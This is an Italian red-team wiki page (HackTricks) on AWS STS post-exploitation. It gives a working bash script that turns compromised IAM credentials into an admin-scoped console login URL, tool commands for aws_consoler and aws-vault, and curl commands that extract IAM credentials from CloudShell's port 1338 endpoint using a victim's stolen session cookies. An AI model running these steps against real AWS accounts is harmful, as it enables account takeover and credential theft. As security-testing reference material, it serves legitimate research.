AWS - STS Post Exploitation

Impara l'hacking AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

STS

Per ulteriori informazioni:

pageAWS - IAM, Identity Center & SSO Enum

Da Credenziali IAM alla Console

Se sei riuscito a ottenere alcune credenziali IAM potresti essere interessato ad accedere alla console web utilizzando i seguenti strumenti. Nota che l'utente/ruolo deve avere il permesso sts:GetFederationToken.

Script personalizzato

Lo script seguente utilizzerà il profilo predefinito e una posizione AWS predefinita (non gov e non cn) per fornirti un URL firmato che puoi utilizzare per accedere alla console web:

# Get federated creds (you must indicate a policy or they won't have any perms)
## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
## Don't forget to use [--profile <prof_name>] in the first line if you need to
output=$(aws sts get-federation-token --name consoler --policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess)

if [ $? -ne 0 ]; then
echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status"
exit $status
fi

# Parse the output
session_id=$(echo $output | jq -r '.Credentials.AccessKeyId')
session_key=$(echo $output | jq -r '.Credentials.SecretAccessKey')
session_token=$(echo $output | jq -r '.Credentials.SessionToken')

# Construct the JSON credentials string
json_creds=$(echo -n "{\"sessionId\":\"$session_id\",\"sessionKey\":\"$session_key\",\"sessionToken\":\"$session_token\"}")

# Define the AWS federation endpoint
federation_endpoint="https://signin.aws.amazon.com/federation"

# Make the HTTP request to get the sign-in token
resp=$(curl -s "$federation_endpoint" \
--get \
--data-urlencode "Action=getSigninToken" \
--data-urlencode "SessionDuration=43200" \
--data-urlencode "Session=$json_creds"
)
signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)



# Give the URL to login
echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"

aws_consoler

Puoi generare un link alla console web con https://github.com/NetSPI/aws_consoler.

cd /tmp
python3 -m venv env
source ./env/bin/activate
pip install aws-consoler
aws_consoler [params...] #This will generate a link to login into the console

Assicurati che l'utente IAM abbia il permesso sts:GetFederationToken, o fornisce un ruolo da assumere.

aws-vault

aws-vault è uno strumento per memorizzare e accedere in modo sicuro alle credenziali AWS in un ambiente di sviluppo.

aws-vault list
aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
aws-vault login jonsmith # Open a browser logged as jonsmith

Puoi anche utilizzare aws-vault per ottenere una sessione della console del browser

Dalla Console alle Credenziali IAM

Originariamente scoperto in questo post, se riesci a compromettere l'accesso a una console web (forse hai rubato i cookie e non potevi accedere alla cartella .aws), puoi ottenere alcune credenziali token IAM per quell'utente tramite CloudShell.

CloudShell espone le credenziali IAM tramite un endpoint non documentato sulla porta 1338. Dopo aver caricato i cookie di sessione dalla vittima nel tuo browser, puoi navigare su CloudShell e emettere i seguenti comandi per ottenere le credenziali IAM.

TOKEN=$(curl -X PUT localhost:1338/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 60")
curl localhost:1338/latest/meta-data/container/security-credentials -H "X-aws-ec2-metadata-token: $TOKEN"
Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Last updated